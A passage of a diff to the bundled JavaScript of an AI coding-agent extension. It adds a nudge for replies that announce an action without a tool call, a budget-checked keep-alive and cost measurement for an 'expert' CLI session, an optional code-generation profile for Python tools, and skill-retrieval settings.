  if (declared.length > 0) {
61544
62187
  if (context.installDeps === void 0) {
61545
62188
  await restore();
@@ -61567,7 +62210,7 @@ ${message}
61567
62210
 
61568
62211
  ${traceback ?? ""}`.trim(), isError: true };
61569
62212
  }
61570
- await approveTool(context.toolsDir, params.name, params.source, described);
62213
+ await approveTool(context.toolsDir, params.name, source, described);
61571
62214
  await context.onChanged();
61572
62215
  return {
61573
62216
  content: `Saved and registered as py__${params.name}.
@@ -61731,7 +62374,7 @@ var PythonManager = class {
61731
62374
  return;
61732
62375
  }
61733
62376
  try {
61734
- const env2 = minimalPythonEnv();
62377
+ const env2 = minimalPythonEnv(this.options.sessionEnv?.() ?? {});
61735
62378
  let interpreter;
61736
62379
  if (config2.venvPath !== void 0 && config2.venvPath.trim().length > 0) {
61737
62380
  this.venvPath = config2.venvPath.trim();
@@ -61828,8 +62471,10 @@ var PythonManager = class {
61828
62471
  return [];
61829
62472
  const worker = this.worker;
61830
62473
  const uv = this.uv;
62474
+ const generated = this.options.generateSource?.();
61831
62475
  const context = {
61832
62476
  toolsDir: this.toolsDir,
62477
+ ...generated !== void 0 ? { generateSource: generated } : {},
61833
62478
  worker,
61834
62479
  onChanged: () => this.refresh(),
61835
62480
  ...uv !== void 0 ? {
@@ -61840,7 +62485,7 @@ var PythonManager = class {
61840
62485
  ...this.indexUrl !== void 0 ? { indexUrl: this.indexUrl } : {},
61841
62486
  extraIndexUrls: this.extraIndexUrls,
61842
62487
  offline: this.offline,
61843
- env: minimalPythonEnv()
62488
+ env: minimalPythonEnv(this.options.sessionEnv?.() ?? {})
61844
62489
  })
61845
62490
  } : {}
61846
62491
  };
@@ -62246,6 +62891,31 @@ function renderDocsMatches(options, matches) {
62246
62891
  }).filter((rendered) => rendered !== void 0).join("\n\n");
62247
62892
  }
62248
62893
 
62894
+ // ../../packages/core/dist/agent/unfinished.js
62895
+ var MAX_PREAMBLE_LENGTH = 400;
62896
+ var FORWARD_LOOKING = /^(let me\b|let's\b|i'?ll\b|i will\b|i'?m going to\b|going to\b|now i\b|next,? i\b|first,? i\b|starting\b|beginning\b)/i;
62897
+ var HANDING_BACK = /^(let me know\b|let us know\b|i'?ll be happy\b|i'?ll wait\b|i'?ll stand by\b|let me know if\b|i'?ll leave\b)/i;
62898
+ function lastSentence(text) {
62899
+ const trimmed = text.trim();
62900
+ const parts = trimmed.split(/(?<=[.!?])\s+/);
62901
+ return (parts[parts.length - 1] ?? trimmed).trim();
62902
+ }
62903
+ function looksUnfinished(text) {
62904
+ const trimmed = text.trim();
62905
+ if (trimmed.length === 0 || trimmed.length > MAX_PREAMBLE_LENGTH)
62906
+ return false;
62907
+ if (trimmed.endsWith("?"))
62908
+ return false;
62909
+ if (trimmed.endsWith(":"))
62910
+ return true;
62911
+ const last = lastSentence(trimmed);
62912
+ if (HANDING_BACK.test(last))
62913
+ return false;
62914
+ return FORWARD_LOOKING.test(last);
62915
+ }
62916
+ var CONTINUE_PROMPT = "You described what you were about to do but did not call a tool, so nothing happened. If you meant to act, call the tool now. If you were already finished, call attempt_completion with a summary instead.";
62917
+ var MAX_CONTINUE_NUDGES = 1;
62918
+
62249
62919
  // ../../packages/core/dist/agent/truncate.js
62250
62920
  import { randomUUID as randomUUID2 } from "node:crypto";
62251
62921
  import fs13 from "node:fs/promises";
@@ -62486,6 +63156,7 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
62486
63156
  conversation.addUserMessage(userMessage, options.images);
62487
63157
  const maxIterations = options.maxIterations ?? DEFAULT_MAX_ITERATIONS;
62488
63158
  const mistakeCounts = /* @__PURE__ */ new Map();
63159
+ let continueNudges = 0;
62489
63160
  const mode = options.mode ?? CODE_MODE;
62490
63161
  const tools = toToolDefinitions(toolsForMode(toolRegistry, mode));
62491
63162
  let checkpointTaken = false;
@@ -62519,12 +63190,18 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
62519
63190
  return;
62520
63191
  }
62521
63192
  if (toolCall === void 0) {
62522
- if (assistantText.length > 0) {
62523
- conversation.addAssistantMessage(assistantText);
62524
- events.onDone();
62525
- } else {
63193
+ if (assistantText.length === 0) {
62526
63194
  events.onError("The provider finished without returning any text. Check the base URL and model name, and that the endpoint supports streaming chat completions.");
63195
+ return;
63196
+ }
63197
+ conversation.addAssistantMessage(assistantText);
63198
+ if (continueNudges < MAX_CONTINUE_NUDGES && looksUnfinished(assistantText)) {
63199
+ continueNudges++;
63200
+ conversation.addUserMessage(CONTINUE_PROMPT);
63201
+ events.onNudgedToContinue?.();
63202
+ continue;
62527
63203
  }
63204
+ events.onDone();
62528
63205
  return;
62529
63206
  }
62530
63207
  conversation.addAssistantMessage(assistantText, [toolCall]);
@@ -62639,17 +63316,17 @@ var WebviewApprovalGate = class {
62639
63316
  // ../../packages/core/dist/platform/node/filesystem.js
62640
63317
  import fs14 from "node:fs/promises";
62641
63318
  var NodeFileSystem = class {
62642
- async readFile(path26) {
62643
- return fs14.readFile(path26, "utf8");
63319
+ async readFile(path29) {
63320
+ return fs14.readFile(path29, "utf8");
62644
63321
  }
62645
- async readBytes(path26) {
62646
- return fs14.readFile(path26);
63322
+ async readBytes(path29) {
63323
+ return fs14.readFile(path29);
62647
63324
  }
62648
- async readBytesSlice(path26, start, end) {
63325
+ async readBytesSlice(path29, start, end) {
62649
63326
  const length = Math.max(0, end - start);
62650
63327
  if (length === 0)
62651
63328
  return Buffer.alloc(0);
62652
- const handle = await fs14.open(path26, "r");
63329
+ const handle = await fs14.open(path29, "r");
62653
63330
  try {
62654
63331
  const buffer = Buffer.alloc(length);
62655
63332
  const { bytesRead } = await handle.read(buffer, 0, length, start);
@@ -62658,11 +63335,11 @@ var NodeFileSystem = class {
62658
63335
  await handle.close();
62659
63336
  }
62660
63337
  }
62661
- async writeFile(path26, contents) {
62662
- await fs14.writeFile(path26, contents, "utf8");
63338
+ async writeFile(path29, contents) {
63339
+ await fs14.writeFile(path29, contents, "utf8");
62663
63340
  }
62664
- async stat(path26) {
62665
- const stat = await fs14.lstat(path26);
63341
+ async stat(path29) {
63342
+ const stat = await fs14.lstat(path29);
62666
63343
  return {
62667
63344
  size: stat.size,
62668
63345
  mtimeMs: stat.mtimeMs,
@@ -62671,8 +63348,8 @@ var NodeFileSystem = class {
62671
63348
  isSymbolicLink: stat.isSymbolicLink()
62672
63349
  };
62673
63350
  }
62674
- async readdir(path26) {
62675
- const entries = await fs14.readdir(path26, { withFileTypes: true });
63351
+ async readdir(path29) {
63352
+ const entries = await fs14.readdir(path29, { withFileTypes: true });
62676
63353
  return entries.map((entry) => ({
62677
63354
  name: entry.name,
62678
63355
  isFile: entry.isFile(),
@@ -62680,16 +63357,16 @@ var NodeFileSystem = class {
62680
63357
  isSymbolicLink: entry.isSymbolicLink()
62681
63358
  }));
62682
63359
  }
62683
- async exists(path26) {
63360
+ async exists(path29) {
62684
63361
  try {
62685
- await fs14.access(path26);
63362
+ await fs14.access(path29);
62686
63363
  return true;
62687
63364
  } catch {
62688
63365
  return false;
62689
63366
  }
62690
63367
  }
62691
- async mkdir(path26) {
62692
- await fs14.mkdir(path26, { recursive: true });
63368
+ async mkdir(path29) {
63369
+ await fs14.mkdir(path29, { recursive: true });
62693
63370
  }
62694
63371
  };
62695
63372
 
@@ -62967,11 +63644,25 @@ function wireChatBridge(services) {
62967
63644
  workspaceRoot,
62968
63645
  storageDir,
62969
63646
  logger,
63647
+ // Read at worker spawn, so a changed variable applies to the next worker rather than being
63648
+ // frozen at construction. Added to the allowlist in minimalPythonEnv, never a way past it.
63649
+ ...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv } : {},
63650
+ ...services.submitForReview !== void 0 ? {
63651
+ submitForReview: (request) => services.submitForReview?.({ kind: "python-tool", ...request }) ?? Promise.resolve("")
63652
+ } : {},
63653
+ /*
63654
+ * A resolver, not a generator: the tool's *parameters* change shape depending on whether one
63655
+ * is configured — specification versus source — so the answer is needed when the tool list is
63656
+ * built, not when it is called. Refreshed by `loadSettings`, which runs before every turn, so
63657
+ * changing the profile mid-session takes effect on the next message.
63658
+ */
63659
+ generateSource: () => cachedCodeGenerator,
62970
63660
  // A tool created, updated or deleted during a chat changes both the Python tab and the
62971
63661
  // documentation corpus. `postPython` refreshes the tab and schedules the reindex.
62972
63662
  onToolsChanged: () => {
62973
63663
  void postPython();
62974
63664
  void postSchedules();
63665
+ void postTools();
62975
63666
  }
62976
63667
  });
62977
63668
  const defaultSkillsDir = workspaceRoot !== void 0 ? path19.join(workspaceRoot, ".lightcode", "skills") : void 0;
@@ -63173,11 +63864,12 @@ function wireChatBridge(services) {
63173
63864
  }
63174
63865
  const pendingPathApprovals = /* @__PURE__ */ new Map();
63175
63866
  const searchLog = new SearchLog(50, () => post({ type: "searchLog", entries: [...searchLog.list()] }));
63176
- let expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
63867
+ let expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
63177
63868
  let expertSessionId;
63178
63869
  function resetExpertSpend() {
63179
- expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
63870
+ expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
63180
63871
  expertSessionId = void 0;
63872
+ stopKeepAlive();
63181
63873
  taskExpertLimits = void 0;
63182
63874
  taskExpertEstimate = void 0;
63183
63875
  postExpertSpend();
@@ -63203,16 +63895,40 @@ function wireChatBridge(services) {
63203
63895
  else
63204
63896
  expertSpend.unpriced += 1;
63205
63897
  postExpertSpend();
63898
+ if (info.isError)
63899
+ return;
63900
+ const learned = info.costUsd !== void 0;
63901
+ if (cachedReportsCost === learned)
63902
+ return;
63903
+ cachedReportsCost = learned;
63904
+ void configManager.load().then(async ({ config: config2 }) => {
63905
+ await configManager.save("user", { ...config2, expert: { ...config2.expert, reportsCost: learned } });
63906
+ await postExpert();
63907
+ }).catch(() => {
63908
+ });
63206
63909
  }
63207
63910
  let cachedModeId;
63911
+ let cachedCodeGenerator;
63912
+ let cachedReportsCost;
63913
+ let measuringStep;
63914
+ let cachedPricing;
63915
+ let cachedKeepAlive = false;
63916
+ let cachedProgrammingProfileId;
63208
63917
  async function loadSettings() {
63209
63918
  const { config: config2 } = await configManager.load();
63210
63919
  cachedApprovals = config2.approvals?.[approvalsKey] ?? {};
63920
+ cachedCodeGenerator = codeGeneratorFor(config2);
63921
+ cachedProgrammingProfileId = config2.programmingProfileId;
63211
63922
  cachedModeId = config2.modeId;
63212
63923
  cachedMaxIterations = config2.maxIterations ?? 25;
63213
63924
  cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
63214
63925
  cachedExpertColor = config2.ui?.expertColor ?? "#D97757";
63215
63926
  cachedAssessment = config2.expert?.assessment;
63927
+ cachedReportsCost = config2.expert?.reportsCost;
63928
+ cachedPricing = config2.expert?.pricing;
63929
+ cachedKeepAlive = config2.expert?.keepAlive === true;
63930
+ if (!cachedKeepAlive)
63931
+ stopKeepAlive();
63216
63932
  cachedExpertLimits = {
63217
63933
  ...config2.expert?.maxSpendUsd !== void 0 ? { maxSpendUsd: config2.expert.maxSpendUsd } : {},
63218
63934
  ...config2.expert?.maxConsultations !== void 0 ? { maxConsultations: config2.expert.maxConsultations } : {}
@@ -63233,9 +63949,18 @@ function wireChatBridge(services) {
63233
63949
  maxIterations: cachedMaxIterations,
63234
63950
  accentColor: cachedAccentColor,
63235
63951
  expertColor: cachedExpertColor,
63236
- readRoots: cachedReadRoots
63952
+ readRoots: cachedReadRoots,
63953
+ ...cachedProgrammingProfileId !== void 0 ? { programmingProfileId: cachedProgrammingProfileId } : {},
63954
+ ...hostCapabilities()
63237
63955
  });
63238
63956
  }
63957
+ function hostCapabilities() {
63958
+ return {
63959
+ nativeGuide: ui.openWalkthrough !== void 0,
63960
+ allowProgrammingProfile: services.allowProgrammingProfile === true,
63961
+ ...services.guideMediaBase !== void 0 ? { guideMediaBase: services.guideMediaBase } : {}
63962
+ };
63963
+ }
63239
63964
  const userGate = new WebviewApprovalGate(post);
63240
63965
  const approvalGate = new PolicyApprovalGate(userGate, () => cachedApprovals);
63241
63966
  let mcpJson = '{\n "mcpServers": {}\n}';
@@ -63248,6 +63973,7 @@ function wireChatBridge(services) {
63248
63973
  onStateChanged: () => {
63249
63974
  postMcp();
63250
63975
  void postSchedules();
63976
+ void postTools();
63251
63977
  scheduleDocsReindex("MCP tools changed");
63252
63978
  }
63253
63979
  }, logger, () => cachedApprovals.allowedTools ?? []);
@@ -63265,7 +63991,7 @@ function wireChatBridge(services) {
63265
63991
  platform: process.platform === "win32" ? "win32" : "posix"
63266
63992
  });
63267
63993
  }
63268
- function currentToolRegistry(expert, search, codebase, docs, dispatcher = false) {
63994
+ function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false) {
63269
63995
  const combined = new ToolRegistry();
63270
63996
  for (const tool of builtinTools.list())
63271
63997
  combined.register(tool);
@@ -63295,7 +64021,13 @@ function wireChatBridge(services) {
63295
64021
  }
63296
64022
  }));
63297
64023
  if (skillsDir !== void 0) {
63298
- const context = { skillsDir, onChanged: refreshSkills };
64024
+ const context = {
64025
+ skillsDir,
64026
+ onChanged: refreshSkills,
64027
+ ...services.submitForReview !== void 0 ? {
64028
+ submitForReview: (request) => services.submitForReview?.({ kind: "skill", ...request }) ?? Promise.resolve("")
64029
+ } : {}
64030
+ };
63299
64031
  combined.register(createWriteSkillTool(context));
63300
64032
  combined.register(createDeleteSkillTool(context));
63301
64033
  }
@@ -63311,8 +64043,12 @@ function wireChatBridge(services) {
63311
64043
  if (codebase !== void 0) {
63312
64044
  combined.register(createSearchCodebaseTool({ ...codebase, observer: searchLog }));
63313
64045
  }
63314
- if (dispatcher) {
64046
+ const hasHiddenTools = dispatcher && combined.dispatchOnlyList().length > 0;
64047
+ const hasHiddenSkills = hideSkills && skills.length > 0;
64048
+ if (hasHiddenTools) {
63315
64049
  combined.register(createCallToolTool());
64050
+ }
64051
+ if (dispatcher && (hasHiddenTools || hasHiddenSkills)) {
63316
64052
  combined.register(createForgetDocsTool());
63317
64053
  combined.register(createSearchDocsTool({
63318
64054
  // Resolved per call, so a tool registered later in this same function is still
@@ -63331,7 +64067,11 @@ function wireChatBridge(services) {
63331
64067
  // Read at call time, not captured: the user can raise the limit mid-task and the very
63332
64068
  // next consultation should honour it, without starting a new task to pick it up.
63333
64069
  budget: () => checkExpertBudget(expertSpend, effectiveExpertLimits()),
63334
- budgetSummary: () => describeExpertBudget(expertSpend, effectiveExpertLimits()),
64070
+ /*
64071
+ * The measured cost goes with the budget, so the expert plans in this deployment's
64072
+ * units rather than from what it believes consultations cost in general.
64073
+ */
64074
+ budgetSummary: () => describeExpertBudget(expertSpend, effectiveExpertLimits(), pricingForPrompt(cachedPricing)),
63335
64075
  onEstimate: (estimate) => {
63336
64076
  taskExpertEstimate = estimate;
63337
64077
  postExpertSpend();
@@ -63340,6 +64080,8 @@ function wireChatBridge(services) {
63340
64080
  get: () => expertSessionId,
63341
64081
  set: (sessionId) => {
63342
64082
  expertSessionId = sessionId;
64083
+ if (sessionId !== void 0 && cachedKeepAlive)
64084
+ ensureKeepAlive();
63343
64085
  }
63344
64086
  },
63345
64087
  /*
@@ -63522,12 +64264,26 @@ function wireChatBridge(services) {
63522
64264
  await refreshSkills();
63523
64265
  const activeMode = findMode(config2.modeId);
63524
64266
  const scheduledGuidance = schedule === void 0 ? void 0 : scheduledRunGuidance(schedule, filterToolsForSchedule(currentToolRegistry(void 0, void 0, void 0, void 0, false).list(), schedule).map((tool) => tool.name).filter((name) => name !== "attempt_completion"));
64267
+ const skillsSearchable = skillRetrievalEnabled(config2.retrieval) && schedule === void 0;
64268
+ const turnSkills = schedule === void 0 ? skills : skillsForSchedule(skills, schedule.allowedSkills);
63525
64269
  const desiredPrompt = buildSystemPrompt(workspaceRoot, {
63526
64270
  model: profile.model,
63527
64271
  providerLabel: profile.label,
63528
64272
  expertAvailable: expertCliInfo !== void 0,
63529
- skills: renderSkillsForPrompt(skills),
64273
+ /*
64274
+ * Either the whole list or a count and an instruction to search — never both, and
64275
+ * never neither. `renderSkillsHintForPrompt` explains why the count stays.
64276
+ */
64277
+ skills: skillsSearchable ? renderSkillsHintForPrompt(skills.length) : renderSkillsForPrompt(turnSkills),
64278
+ skillsSearchable,
63530
64279
  canWriteSkills: skillsDir !== void 0,
64280
+ /*
64281
+ * Read from config rather than from the registry, because the prompt is built before the
64282
+ * registry is. Only the *off* case is claimed: "on but uv is missing" leaves the model
64283
+ * equally toolless, but the Python tab reports that with the actual reason, and telling
64284
+ * the user to switch on something already switched on would be worse than saying nothing.
64285
+ */
64286
+ pythonToolsDisabled: config2.python?.dynamicTools !== "on",
63531
64287
  /*
63532
64288
  * Junior mode's instructions are worse than useless without the expert to delegate
63533
64289
  * to: the model would be told to consult something it has no tool for. The picker
@@ -63556,6 +64312,9 @@ function wireChatBridge(services) {
63556
64312
  denylist,
63557
64313
  readFiles,
63558
64314
  readRoots: cachedReadRoots,
64315
+ // Resolved per turn by the host, so an edit applies to the next command rather than
64316
+ // needing a new session. Absent in the extension, where there is nothing to resolve.
64317
+ ...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv() } : {},
63559
64318
  /*
63560
64319
  * Omitted for a scheduled run: there is nobody to answer, and a run that could grant
63561
64320
  * itself new filesystem access would defeat the point of its allowlist.
@@ -63618,7 +64377,8 @@ function wireChatBridge(services) {
63618
64377
  * behind a search that could never find them.
63619
64378
  */
63620
64379
  search !== void 0 && embedder !== void 0 && docsIndex !== void 0 ? { searcher: search.searcher, embedder, index: docsIndex } : void 0,
63621
- config2.retrieval?.dispatcher === true
64380
+ dispatcherEnabled(config2.retrieval),
64381
+ skillsSearchable
63622
64382
  );
63623
64383
  const turnRegistry = schedule !== void 0 ? registryForSchedule(fullRegistry.list(), schedule) : fullRegistry;
63624
64384
  if (schedule !== void 0) {
@@ -63629,6 +64389,9 @@ function wireChatBridge(services) {
63629
64389
  post({ type: "contextUsage", usage: { ...breakdown, supersededCount, compactedCount } });
63630
64390
  },
63631
64391
  onCompacted: (summarisedCount) => post({ type: "compacted", summarisedCount }),
64392
+ onNudgedToContinue: () => {
64393
+ logger.warn("the model described an action without calling a tool; asked it to continue");
64394
+ },
63632
64395
  onQueuedMessageConsumed: (text2) => {
63633
64396
  post({ type: "queuedMessageConsumed", text: text2 });
63634
64397
  cumulativeText = "";
@@ -63886,18 +64649,29 @@ function wireChatBridge(services) {
63886
64649
  logger.warn(`could not check the expert CLI: ${reason}`);
63887
64650
  const settings = await configManager.load().then((loaded) => loaded.config.expert, () => void 0);
63888
64651
  post({
63889
- type: "expert",
63890
- enabled: settings?.enabled === true,
64652
+ ...expertMessageFrom(settings),
63891
64653
  available: false,
63892
64654
  path: settings?.path ?? expertCliPath ?? "claude",
63893
- reason: `Could not check whether the Claude CLI is available: ${reason}`,
63894
- ...settings?.model !== void 0 ? { model: settings.model } : {},
63895
- maxSpendUsd: settings?.maxSpendUsd ?? 0,
63896
- maxConsultations: settings?.maxConsultations ?? 0,
63897
- ...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {}
64655
+ reason: `Could not check whether the Claude CLI is available: ${reason}`
63898
64656
  });
63899
64657
  }
63900
64658
  }
64659
+ function expertMessageFrom(settings) {
64660
+ return {
64661
+ type: "expert",
64662
+ enabled: settings?.enabled === true,
64663
+ available: false,
64664
+ path: settings?.path ?? expertCliPath ?? "claude",
64665
+ maxSpendUsd: settings?.maxSpendUsd ?? 0,
64666
+ maxConsultations: settings?.maxConsultations ?? 0,
64667
+ keepAlive: settings?.keepAlive === true,
64668
+ ...settings?.model !== void 0 ? { model: settings.model } : {},
64669
+ ...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {},
64670
+ ...settings?.reportsCost !== void 0 ? { reportsCost: settings.reportsCost } : {},
64671
+ ...settings?.pricing !== void 0 ? { pricing: settings.pricing } : {},
64672
+ ...measuringStep !== void 0 ? { measuringStep } : {}
64673
+ };
64674
+ }
63901
64675
  async function postExpertInner(redetect) {
63902
64676
  const { config: config2 } = await configManager.load();
63903
64677
  const configured = config2.expert?.path ?? "claude";
@@ -63905,19 +64679,125 @@ function wireChatBridge(services) {
63905
64679
  expertCli = detected;
63906
64680
  expertCliPath = configured;
63907
64681
  post({
63908
- type: "expert",
63909
- enabled: config2.expert?.enabled === true,
64682
+ // Everything from settings comes from one place, so the two paths cannot drift again.
64683
+ ...expertMessageFrom(config2.expert),
63910
64684
  available: detected.available,
63911
64685
  path: configured,
63912
64686
  ...detected.version !== void 0 ? { version: detected.version } : {},
63913
64687
  ...detected.reason !== void 0 ? { reason: detected.reason } : {},
63914
- ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
63915
- maxSpendUsd: config2.expert?.maxSpendUsd ?? 0,
63916
- maxConsultations: config2.expert?.maxConsultations ?? 0,
63917
- ...config2.expert?.assessment !== void 0 ? { assessment: config2.expert.assessment } : {},
63918
64688
  ...assessmentStep === void 0 ? {} : { assessing: true, assessmentStep }
63919
64689
  });
63920
64690
  }
64691
+ const KEEP_ALIVE_MS = 50 * 60 * 1e3;
64692
+ let keepAliveTimer;
64693
+ function stopKeepAlive() {
64694
+ if (keepAliveTimer === void 0)
64695
+ return;
64696
+ clearInterval(keepAliveTimer);
64697
+ keepAliveTimer = void 0;
64698
+ }
64699
+ function ensureKeepAlive() {
64700
+ if (keepAliveTimer !== void 0)
64701
+ return;
64702
+ keepAliveTimer = setInterval(() => {
64703
+ void runKeepAlive();
64704
+ }, KEEP_ALIVE_MS);
64705
+ keepAliveTimer.unref?.();
64706
+ }
64707
+ async function runKeepAlive() {
64708
+ const session = expertSessionId;
64709
+ if (session === void 0) {
64710
+ stopKeepAlive();
64711
+ return;
64712
+ }
64713
+ try {
64714
+ const { config: config2 } = await configManager.load();
64715
+ if (config2.expert?.keepAlive !== true) {
64716
+ stopKeepAlive();
64717
+ return;
64718
+ }
64719
+ const verdict = checkExpertBudget(expertSpend, effectiveExpertLimits());
64720
+ if (!verdict.allowed) {
64721
+ logger.info("expert keep-alive stopped: the budget for this task is spent");
64722
+ stopKeepAlive();
64723
+ return;
64724
+ }
64725
+ const cli = await resolveExpert(config2);
64726
+ if (cli === void 0) {
64727
+ stopKeepAlive();
64728
+ return;
64729
+ }
64730
+ const answer = await consultExpert(cli, {
64731
+ question: PRICING_PROBE,
64732
+ cwd: workspaceRoot ?? process.cwd(),
64733
+ ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
64734
+ resumeSessionId: session
64735
+ }, logger);
64736
+ expertSpend.keepAlives += 1;
64737
+ if (answer.costUsd !== void 0)
64738
+ expertSpend.usd += answer.costUsd;
64739
+ if (answer.sessionId !== void 0)
64740
+ expertSessionId = answer.sessionId;
64741
+ postExpertSpend();
64742
+ logger.info("expert keep-alive refreshed the session cache");
64743
+ } catch (error51) {
64744
+ logger.warn(`expert keep-alive failed: ${String(error51)}`);
64745
+ }
64746
+ }
64747
+ async function handleMeasureExpertCost() {
64748
+ if (measuringStep !== void 0) {
64749
+ post({ type: "error", message: `Already measuring \u2014 ${measuringStep}` });
64750
+ return;
64751
+ }
64752
+ measuringStep = "Starting\u2026";
64753
+ logger.info("measuring what an expert consultation costs");
64754
+ await postExpert({ redetect: false });
64755
+ try {
64756
+ const { config: config2 } = await configManager.load();
64757
+ const cli = await resolveExpert(config2);
64758
+ if (cli === void 0) {
64759
+ post({
64760
+ type: "error",
64761
+ message: "The Claude CLI could not be found, so there is nothing to measure. Check the path in this tab."
64762
+ });
64763
+ return;
64764
+ }
64765
+ let sessionId;
64766
+ const samples = [];
64767
+ for (const [index, label] of ["first consultation", "follow-up in the same session"].entries()) {
64768
+ measuringStep = `Measuring the ${label} (${String(index + 1)}/2)\u2026`;
64769
+ await postExpert({ redetect: false });
64770
+ const answer = await consultExpert(cli, {
64771
+ question: PRICING_PROBE,
64772
+ cwd: workspaceRoot ?? process.cwd(),
64773
+ ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
64774
+ // Cold on the first pass, resumed on the second. That pair is the measurement.
64775
+ ...sessionId !== void 0 ? { resumeSessionId: sessionId } : {}
64776
+ }, logger);
64777
+ samples.push(answer.costUsd);
64778
+ sessionId = answer.sessionId ?? sessionId;
64779
+ }
64780
+ const [cold, resumed] = samples;
64781
+ const reportsCost = cold !== void 0 || resumed !== void 0;
64782
+ const pricing = {
64783
+ measuredAt: Date.now(),
64784
+ reportsCost,
64785
+ ...cold !== void 0 ? { coldUsd: cold } : {},
64786
+ ...resumed !== void 0 ? { resumedUsd: resumed } : {}
64787
+ };
64788
+ const { config: current } = await configManager.load();
64789
+ await configManager.save("user", {
64790
+ ...current,
64791
+ expert: { ...current.expert, pricing, reportsCost }
64792
+ });
64793
+ logger.info(reportsCost ? `expert pricing measured: cold ${String(cold)} / resumed ${String(resumed)}` : "expert pricing measured: this plan reports no cost per consultation");
64794
+ } catch (error51) {
64795
+ post({ type: "error", message: `Could not measure the expert's cost: ${String(error51)}` });
64796
+ } finally {
64797
+ measuringStep = void 0;
64798
+ await postExpert({ redetect: false });
64799
+ }
64800
+ }
63921
64801
  async function handleAssessJunior() {
63922
64802
  if (assessmentStep !== void 0)
63923
64803
  return;
@@ -64117,15 +64997,22 @@ function wireChatBridge(services) {
64117
64997
  }
64118
64998
  }
64119
64999
  let indexingAbort;
65000
+ async function saveRetrieval(patch) {
65001
+ const { config: config2 } = await configManager.load();
65002
+ await configManager.save("user", { retrieval: { ...config2.retrieval, ...patch } });
65003
+ }
64120
65004
  async function postDispatcher() {
64121
65005
  const { config: config2 } = await configManager.load();
64122
- const enabled = config2.retrieval?.dispatcher === true;
64123
- const hidden = currentToolRegistry(void 0, void 0, void 0, void 0, true).dispatchOnlyList().length;
65006
+ await refreshSkills();
65007
+ const enabled = dispatcherEnabled(config2.retrieval);
65008
+ const hidden = currentToolRegistry(void 0, void 0, void 0, void 0, true, true).dispatchOnlyList().length;
64124
65009
  const index = docsIndexName(config2);
64125
65010
  post({
64126
65011
  type: "dispatcher",
64127
65012
  enabled,
64128
65013
  hiddenTools: hidden,
65014
+ skills: skillRetrievalEnabled(config2.retrieval),
65015
+ hiddenSkills: skills.length,
64129
65016
  ...index !== void 0 ? { docsIndex: index } : {}
64130
65017
  });
64131
65018
  }
@@ -64737,6 +65624,30 @@ function wireChatBridge(services) {
64737
65624
  post({ type: "error", message: error51 instanceof Error ? error51.message : String(error51) });
64738
65625
  }
64739
65626
  }
65627
+ function codeGeneratorFor(config2) {
65628
+ if (services.allowProgrammingProfile !== true)
65629
+ return void 0;
65630
+ const id = config2.programmingProfileId;
65631
+ if (id === void 0 || id.length === 0)
65632
+ return void 0;
65633
+ const profile = config2.profiles?.find((candidate) => candidate.id === id);
65634
+ if (profile === void 0) {
65635
+ logger.warn(`programming provider "${id}" is configured but no such profile exists; the chat model will write tool source`);
65636
+ return void 0;
65637
+ }
65638
+ return async (request) => {
65639
+ const provider = createChatProvider(profile, httpClient, authStrategyFor(config2, profile), logger);
65640
+ let text = "";
65641
+ for await (const chunk of provider.streamChat([{ role: "user", content: buildCodeGenerationPrompt(request) }], {
65642
+ // No tools offered: it is being asked for a file, and offering tools invites it to use one.
65643
+ ...request.signal !== void 0 ? { signal: request.signal } : {}
65644
+ })) {
65645
+ if (chunk.type === "text")
65646
+ text += chunk.text;
65647
+ }
65648
+ return { source: text, producedBy: profile.label };
65649
+ };
65650
+ }
64740
65651
  async function postSettings() {
64741
65652
  await loadSettings();
64742
65653
  post({
@@ -64746,7 +65657,8 @@ function wireChatBridge(services) {
64746
65657
  maxIterations: cachedMaxIterations,
64747
65658
  accentColor: cachedAccentColor,
64748
65659
  expertColor: cachedExpertColor,
64749
- readRoots: cachedReadRoots
65660
+ readRoots: cachedReadRoots,
65661
+ ...hostCapabilities()
64750
65662
  });
64751
65663
  }
64752
65664
  async function handleAlwaysAllow(id, scope) {
@@ -65033,6 +65945,16 @@ function wireChatBridge(services) {
65033
65945
  void handleSetMode(message.modeId);
65034
65946
  } else if (message.type === "setMaxIterations") {
65035
65947
  void configManager.save("user", { maxIterations: message.value }).then(() => postSettings()).catch((error51) => post({ type: "error", message: String(error51) }));
65948
+ } else if (message.type === "setProgrammingProfile") {
65949
+ void configManager.load().then(async ({ config: config2 }) => {
65950
+ const next = { ...config2 };
65951
+ if (message.id.length === 0)
65952
+ delete next.programmingProfileId;
65953
+ else
65954
+ next.programmingProfileId = message.id;
65955
+ await configManager.save("user", next);
65956
+ await postSettings();
65957
+ }).catch((error51) => post({ type: "error", message: String(error51) }));
65036
65958
  } else if (message.type === "setReadRoots") {
65037
65959
  void configManager.save("user", {
65038
65960
  filesystem: { readRoots: message.roots.map((root) => root.trim()).filter((root) => root.length > 0) }
@@ -65100,11 +66022,17 @@ function wireChatBridge(services) {
65100
66022
  } else if (message.type === "clearSearchLog") {
65101
66023
  searchLog.clear();
65102
66024
  } else if (message.type === "setDispatcher") {
65103
- void configManager.save("user", { retrieval: { dispatcher: message.enabled } }).then(() => {
66025
+ void saveRetrieval({ dispatcher: message.enabled }).then(() => {
65104
66026
  void postDispatcher();
65105
66027
  if (message.enabled)
65106
66028
  scheduleDocsReindex("dispatcher enabled");
65107
66029
  }).catch((error51) => post({ type: "error", message: String(error51) }));
66030
+ } else if (message.type === "setSkillRetrieval") {
66031
+ void saveRetrieval({ skills: message.enabled }).then(() => {
66032
+ void postDispatcher();
66033
+ if (message.enabled)
66034
+ scheduleDocsReindex("skill retrieval enabled");
66035
+ }).catch((error51) => post({ type: "error", message: String(error51) }));
65108
66036
  } else if (message.type === "startIndexing") {
65109
66037
  void handleStartIndexing();
65110
66038
